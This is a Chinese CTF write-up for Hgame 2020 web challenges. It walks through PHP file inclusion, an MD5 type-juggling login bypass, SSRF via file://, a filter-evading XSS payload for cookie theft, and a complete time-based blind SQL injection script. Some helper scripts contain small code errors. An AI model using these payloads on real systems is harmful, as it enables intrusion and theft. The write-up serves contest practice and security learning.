不完整的Hgame2020-CTF的WP

2020-杭电HgameWP

2020年Hgame比赛WP
由于我过于菜鸡,只能打到week2了…orz

[TOC]

week-1

Cosmos 的博客

考察点

/.git信息泄露

过程

在首页中提示了出题人在github上保存了原代码。
尝试访问http://cosmos.hgame.n3ko.co/.git/config。得到项目保存的地址。
最后在https://github.com/FeYcYodhrPDJSru/8LTUKCL83VLhXbc/commit/f79171d9c97a1ab3ea6c97b3eb4f0e1551549853的历史记录中得到base64后的flag。

hgame{g1t_le@k_1s_danger0us_!!!!}

接 头 霸 王

考察点

请求头

过程

类似于2019极客大挑战的 神秘的三叶草 一题。
但值得注意的是,这道题还考察了一个请求参数If-Unmodified-Since:<time>
简单来说,这个参数的作用是进行一个判断:

如果 (在`<time>`时间点之后,文件没有被修改) 则
    下载文件
否则
    返回412错误

还有一个比较相似的参数If-Modified-Since:<time>
If-Unmodified-Since:<time>是反着来的:

如果 (在`<time>`时间点之后,文件修改过了) 则
    下载文件
否则
    返回304错误

在这道题只需将请求头修改即可:

POST http://kyaru.hgame.n3ko.co/ HTTP/1.1
Host: kyaru.hgame.n3ko.co
Referer: https://vidar.club
X-Forwarded-For: 127.0.0.1
User-Agent: Cosmos/114514
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Unmodified-Since: Fri, 01 Jan 1077 00:00:00 GMT
Content-Length: 0

PS:这道题最开始使用GET请求即可,但后面不知道为什么又改成了POST

hgame{W0w!Your_heads_@re_s0_many!}

PSS:
至于为什么一定是If-Unmodified-Since
可能只是出题人单纯检测了一下请求?
亦或者是其它方式?好奇后端是怎么实现的…

Code World

考察点

响应

过程

初次打开返回了403,页面为new.php,且打开比较慢,便怀疑有页面重定向。
尝试抓包发现果然如此,并提示了405错误。说明请求方式有误,尝试POST请求。
请求后出现这样一段话(已格式化):

<center>
<h1>人鸡验证</h1>
<br>
<br>
目前它只支持通过url提交参数来计算两个数的相加,参数为a
<br>
<br>
现在,需要让结果为10
</center>

则提交:

POST http://codeworld.hgame.day-day.work/?a=5%2B5 HTTP/1.1
Host: codeworld.hgame.day-day.work
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

即可获得flag
这里需要注意的是,一般浏览器里会把+认为是空格,这时候提交%2B即可。

hgame{C0d3_1s_s0_S@_sO_C0ol!}

🐔尼泰玫

考察点

抓包改包
(js代码审计)

方法一

在游戏过程中进行抓包,发现了一条奇怪的请求

POST http://cxk.hgame.wz22.cc/submit HTTP/1.1
Host: cxk.hgame.wz22.cc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 42

score=400|68ae153a367158c60103d39d867c365a

这里score=400便是我这次游戏的分数,后面的一串数据之后的代码审计解释。
我们进行改包,将400改为他所要求的30000便会得到alert的flag了。

hgame{j4vASc1pt_w1ll_tel1_y0u_someth1n9_u5efu1?!}

方法二

这里我们对游戏的js代码进行审计
game.js中发现这样一段(已格式化)

gameOver() 
{
    let po = "ejIy";
    let rt = po + "LmNj";
    let rou = "L3N1Ym";
    let sche = "aHR0c";
    let k = "c2Nv";
    let me = sche + "DovL2N";
    clearInterval(this.timer)
    this.context.clearRect(0, 0, this.canvas.width, this.canvas.height)
    let stamp = md5(Date.parse(new Date()) / 1000); 
    this.globalScore = this.globalScore + this.storageScore; 
    this.context.font = '32px Microsoft YaHei'
    this.context.fillStyle = '#000'
    this.context.fillText('CXK,你球掉了!得分:' + this.globalScore, 404, 226)
    $("#ballspeedset").removeAttr("disabled"); let s = this.globalScore;
    (
        function () 
        { 
            let getU = me + "4ay5oZ"; 
            let rl = getU + "2FtZS53"; 
            let te = rou + "1pdA"; 
            let ey = k + "cmU="; 
            $.post(atob(rl + rt + te), atob(ey) + "=" + s + "|" + stamp, function (data) { alert(data); }) 
        }
    )(); 
    this.globalScore = 0;
}

其中

    let po = "ejIy";
    let rt = po + "LmNj";
    let rou = "L3N1Ym";
    let sche = "aHR0c";
    let k = "c2Nv";
    let me = sche + "DovL2N";
    let getU = me + "4ay5oZ"; 
    let rl = getU + "2FtZS53"; 
    let te = rou + "1pdA"; 
    let ey = k + "cmU="; 
    $.post(atob(rl + rt + te), atob(ey) + "=" + s + "|" + stamp, function (data) { alert(data); }) 

//其中(长见识了((()
//rl=getUrl, rt=port, te=route, ey=key
//base64解码后发现完整的post方法为
$.post("http://cxk.hgame.wz22.cc/submit", "score" + "=" + s + "|" + stamp, function (data) { alert(data); }) 
//即向 http://cxk.hgame.wz22.cc/submit 发送数据score=s|stamp,之后返回的数据会以alert的形式输出

//其中s为我们的游戏分数
//stamp为
let stamp = md5(Date.parse(new Date()) / 1000); 

在分析完代码后,我们便可以修改js源码,伪造数据,获得flag

hgame{j4vASc1pt_w1ll_tel1_y0u_someth1n9_u5efu1?!}

week-2

Cosmos的博客后台

考察点

逻辑漏洞
一些php的函数缺陷

过程

在最开始可以得到一个登录页面。随即可以发现url疑似可以进行文件包含。
http://cosmos-admin.hgame.day-day.work/index.php?action=login.php
login.php替换为根目录下的/flag返回了Hacker get out应该是被过滤了。
尝试用php伪协议中的php://filter/read来进行php源码的读取。
得到login.phpindex.php的源码。在login.php源码里顺藤摸瓜得到了admin.php文件源码。在其中还知道了一个config.php文件,但被过滤了,无法读取。
PS:方便起见这里只展示php源码。

login.php

<?php
include "config.php";
session_start();

//Only for debug
if (DEBUG_MODE){
    if(isset($_GET['debug'])) {
        $debug = $_GET['debug'];
        if (!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $debug)) {
            die("args error!");
        }
        eval("var_dump($$debug);");
    }
}

if(isset($_SESSION['username'])) {
    header("Location: admin.php");
    exit();
}
else {
    if (isset($_POST['username']) && isset($_POST['password'])) {
        if ($admin_password == md5($_POST['password']) && $_POST['username'] === $admin_username){
            $_SESSION['username'] = $_POST['username'];
            header("Location: admin.php");
            exit();
        }
        else {
            echo "??¨??·???????ˉ?? ?é??èˉˉ";
        }
    }
}
?>

index.php

<?php
error_reporting(0);
session_start();

if(isset($_SESSION['username'])) {
    header("Location: admin.php");
    exit();
}

$action = @$_GET['action'];
$filter = "/config|etc|flag/i";

if (isset($_GET['action']) && !empty($_GET['action'])) {
    if(preg_match($filter, $_GET['action'])) {
        echo "Hacker get out!";
        exit();
    }
        include $action;
}
elseif(!isset($_GET['action']) || empty($_GET['action'])) {
    header("Location: ?action=login.php");
    exit();
}

admin.php

<?php
include "config.php";
session_start();
if(!isset($_SESSION['username'])) {
    header('Location: index.php');
    exit();
}

function insert_img() {
    if (isset($_POST['img_url'])) {
        $img_url = @$_POST['img_url'];
        $url_array = parse_url($img_url);
        if (@$url_array['host'] !== "localhost" && $url_array['host'] !== "timgsa.baidu.com") {
            return false;
        }   
        $c = curl_init();
        curl_setopt($c, CURLOPT_URL, $img_url);
        curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
        $res = curl_exec($c);
        curl_close($c);
        $avatar = base64_encode($res);

        if(filter_var($img_url, FILTER_VALIDATE_URL)) {
            return $avatar;
        }
    }
    else {
        return base64_encode(file_get_contents("static/logo.png"));
    }
}
?>

<?php echo insert_img() ? insert_img() : base64_encode(file_get_contents("static/error.jpg")); ?>

可以看到,从index.php的文件包含来获取flag是不太可能了,只能找其它方法。
admin.php中我们可以看到有一个利用base64来读取远程和本地图片的脚本。或许我们可以对其进行利用。但首先我们需要用管理员账号登录上去。
随后便可以找到登录验证的代码:

if ($admin_password == md5($_POST['password']) && $_POST['username'] === $admin_username)
{
    $_SESSION['username'] = $_POST['username'];
    header("Location: admin.php");
    exit();
}
else 
{
    echo "??¨??·???????ˉ?? ?é??èˉˉ";
}

这样,我们就要想办法得到两个变量的值$admin_passwordadmin_username
还不难注意到在login.php中有一个debug-mode,只要输入变量,他就会执行eval(“var_dump($$debug);”);来显示变量。这正是我们需要的。
得到了账号和md5后的密码:

username:Cosmos!
MD5(password):0e114902927253523756713132279690

可以看到MD5后的密码是0e+数字,且比较时也不是严格比较,所以可以绕过。
登录后来到admin.php页面,分析php源码,得到几个重要函数:

filter_var($img_url, FILTER_VALIDATE_URL);
//这是一个过滤器函数,通过过滤器来返回过滤的部分。
parse_url($img_url);
/*
这个函数是将一个url拆解为几个部分,如下的url会被拆解为几个部分:
http://username:password@hostname/path?arg=value#anchor
Array
(
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)
*/

admin.php,中有这么一段代码

$img_url = @$_POST['img_url'];
$url_array = parse_url($img_url);
...
if (@$url_array['host'] !== "localhost" && $url_array['host'] !== "timgsa.baidu.com") 
{
    return false;
} 

它明确要求了文件的host来自localhosttimgsa.baidu.com,否则会导致函数返回false。我们可以使用file协议使条件符合:
file://localhost/flag
PS:理论上,file协议也是有host部分的,但这个协议本身就是解析本地文件的,所以被省略了。但还是需要注意host部分必须是localhost,否则会出错。
PSS:在我windows本地环境中使用以下php脚本:

<?php
$url = 'file://localhost/D:/114514.txt';
print_r(parse_url($url));
$c = curl_init();
curl_setopt($c, CURLOPT_URL, $url);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($c);
curl_close($c);
if(filter_var($url, FILTER_VALIDATE_URL))
{
    print('working');
    echo $res;
}
?>

/*
Output:
Array
(
    [scheme] => file
    [host] => localhost
    [path] => /D:/114514.txt
)
working

当$url='file:///D:/114514.txt';时
Array
(
    [scheme] => file
    [path] => /D:/114514.txt
)
workingいいよ!こいよ!
*/

不知道为什么链接解析成功了,但没有114514.txt的文件内容。在5.2.17和7.3.4的环境都试过了,都不行…但在题目中使用file://localhost/flag是可以得到文件内容的…
总之得到了flag:

hgame{pHp_1s_Th3_B3sT_L4nGu4gE!@!}

Cosmos的留言板-1

考察点

sql时间盲注(或许?

过程

说来丢人,这道题最开始手注了很长时间,一直都没有成功。无奈之下使用了sqlmap,发现可以使用时间盲注。
这道题过滤了select和空格,不过不是大问题,select大写或双写绕过、空格用/**/绕过。但让我费解的是#--+虽然没有被过滤,但似乎并没有被sql解析…不知道为什么。不过还是有办法的,用AND/**/'1即可。
那不多说了,直接上脚本:

import requests

mode = input("plz input use mode:")

while(True):
    if(mode == 'T'):
        payload = '1\'UNION/**/SELECT(if((ascii(substr((SELECT/**/group_concat(TABLE_NAME)/**/FROM/**/information_schema.TABLES/**/WHERE/**/TABLE_SCHEMA=database()),%s,1))=%s),sleep(10),1))/**/AND/**/\'1'
        break

    elif(mode == 'C'):
        tab = input('plz input tables_name:')
        payload = '1\'UNION/**/SELECT(if((ascii(substr((SELECT/**/group_concat(COLUMN_NAME)/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x'+tab.encode('UTF-8').hex()+'),%s,1))=%s),sleep(10),1))/**/AND/**/\'1'
        break

    elif(mode == 'F'):
        tab = input('plz input tables_name:')
        col = input('plz input col_name:')
        payload = '1\'UNION/**/SELECT(if((ascii(substr((SELECT/**/'+ col +'/**/FROM/**/'+ tab +'),%s,1))=%s),sleep(10),1))/**/AND/**/\'1'
        break

    elif(mode != 'F'|'C'|'T'):
        print('Error')

url = 'http://139.199.182.61/index.php?id='
res = ''
sel_num = input("plz input sel_num:")

for i in range(1,int(sel_num)):
    print(i)
    for j in range(32,127):
        now_payload = payload % (i,j)
        now_url = url + now_payload
        try:
            r = requests.get(url=now_url,timeout=4.5)
        except:
            res += chr(j)
            print(res)
            break
print(res)

a = input("按任意键退出")
exit()

# 查到两个表:f1aggggggggggggg,messages
# flag表中只有一列:fl4444444g
# 得到flag:hgame{w0w_sql_InjeCti0n_Is_S0_IntereSting!!}

PS:这个脚本是我根据swpuctf的脚本改编的,修正了上一个脚本的小错误(顺便小小优化了一下代码,避免没必要的操作。

hgame{w0w_sql_InjeCti0n_Is_S0_IntereSting!!}

Cosmos的新语言

考察点

脚本编写

过程

这道题就是写脚本,首先在主页中可以看到一串变换的字符串,在./mycode中就知道这是token加密后的密文。只有当post的token和服务器的token对应即可获得flag。比较坑的一点是,只有深入尝试后才能知道这道题变化的不只有token,还有加密方式。
8说了,上我辣鸡的python脚本:

import base64
import requests
import re
import codecs

catchPasswd = str(requests.get("http://7bf62224db.php.hgame.n3ko.co/").text)
# 得密文
catchCrypt = str(requests.get("http://7bf62224db.php.hgame.n3ko.co/mycode").text)
# 得加密方法

catchPasswd = re.sub(r'(^.*\s)(.*\s)</span>(.*\s)</code><br>.*\s', "", catchPasswd)
catchPasswd = re.sub(r'<br>(.*\s)(.*\s)(.*\s)</html>', "", catchPasswd)
# 正则消去无用部分

catchCrypt = re.sub(r'(.*\s)(.*\s)(.*\s)echo\(', "", catchCrypt)
catchCrypt = re.sub(r'function(.*\s)(.*\s)(.*\s)(.*\s)(.*\s)', "", catchCrypt)
catchCrypt = re.sub(r'\)\)\)\)\)\)\)\)\)\)\);(.*\s).*\s}', "", catchCrypt)
# 令人智熄的正则(((

crypt = catchCrypt.split("(", 10)
# 以‘(’为界限,把字符串分割

passwd = catchPasswd

def strrev(string):
    result = ''.join(reversed(string))
    return str(result)

def decrypt(string):
    result = ''
    for i in range(0,len(string)):
        result += chr(ord(string[i]) - 1)
    return str(result)

def base64_decode(string):
    result = base64.b64decode(string).decode('utf-8')
    return str(result)

def str_rot13(string):
    result = codecs.getencoder("rot-13")(string)
    return result[0]
# 各个加密的函数

for i in range(0, 10):
    if(crypt[i] == 'strrev'):
        passwd = strrev(passwd)
    elif(crypt[i] == 'str_rot13'):
        passwd = str_rot13(passwd)
    elif(crypt[i] == 'base64_encode'):
        passwd = base64_decode(passwd)
    elif(crypt[i] == 'encrypt'):
        passwd = decrypt(passwd)
# 解密部分,因为固定加密10次,所以循环判断10次即可

send = requests.post("http://7bf62224db.php.hgame.n3ko.co/", data={'token' : passwd })
print(send.text)
# 打印输送token后得到的网页

得到flag:

hgame{5!MPLe-$criPT~WITh_pyThon~OR~PHp}

Cosmos的聊天室

考察点

XSS
md5截断验证

过程

这道题的过滤方式很有趣:
1.循环过滤<>以及其之间的所有字符
2.script会变为HI THERE!
3.所有的字符大写
不过即使如此也可以进行XSS

<img src=1 onerror='&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;'<
<!- 即:<img src=1 onerror='alert(1)'> ->

1.根据html不严谨的语法规则,即使没有>封闭语句也可以正常显示
PS:后端的python代码好像还帮忙补全了后面的<(((
2.使用img标签和onerror事件来避免使用script字符串
3.使用实体编码&#(ascii十进制);来规避字符的大写
这样就可以盗取管理员的cookie来查看flag了
还有,关于实体编码网上还没有可以直接白嫖的,自己拿C瞎打了一个
(感觉用C更简单(bin选手憋喷我(

#include <stdio.h>

int main()
{
    char a=0;
    while(1)
    {
        scanf("%c", &a);
        if(a != 0x0A)
            printf("&#%d;", a);
    }
    return 0;
}

另外,想让管理bot点击页面,还需要发送一段md5截断验证
这里直接给白嫖的python脚本(还是多线程的:

import hashlib
from multiprocessing.dummy import Pool as ThreadPool

def md5(s): # 计算MD5字符串
    return hashlib.md5(str(s).encode('utf-8')).hexdigest()

keymd5 = input("set:")
md5start = 0
md5length = 6

def findmd5(sss):
#已知的md5截断值 # 设置题目已知的截断位置 # 输入范围 里面会进行md5测试
    key = sss.split(':')
    start = int(key[0])
    end = int(key[1])
# 开始位置 # 结束位置
    result = 0
    for i in range(start, end): 
        if md5(i)[0:6] == keymd5:
            result = i
            print(result)
            break


list=[] # 参数列表
for i in range(10):
    pool = ThreadPool() # 打印 # 拿到加密字符串 # 多线程的数字列表 开始与结尾
list.append(str(100000000*i) + ':' + str(100000000*(i+1))) # 多线程任务
pool.map(findmd5, list) # 函数 与参数列表
pool.close()
pool.join()

得到token:f802788a02a51f9c624bb5d91815b
得到flag:

hgame{xsS_1s_r3a11y_inTeresT1ng!!}

Comments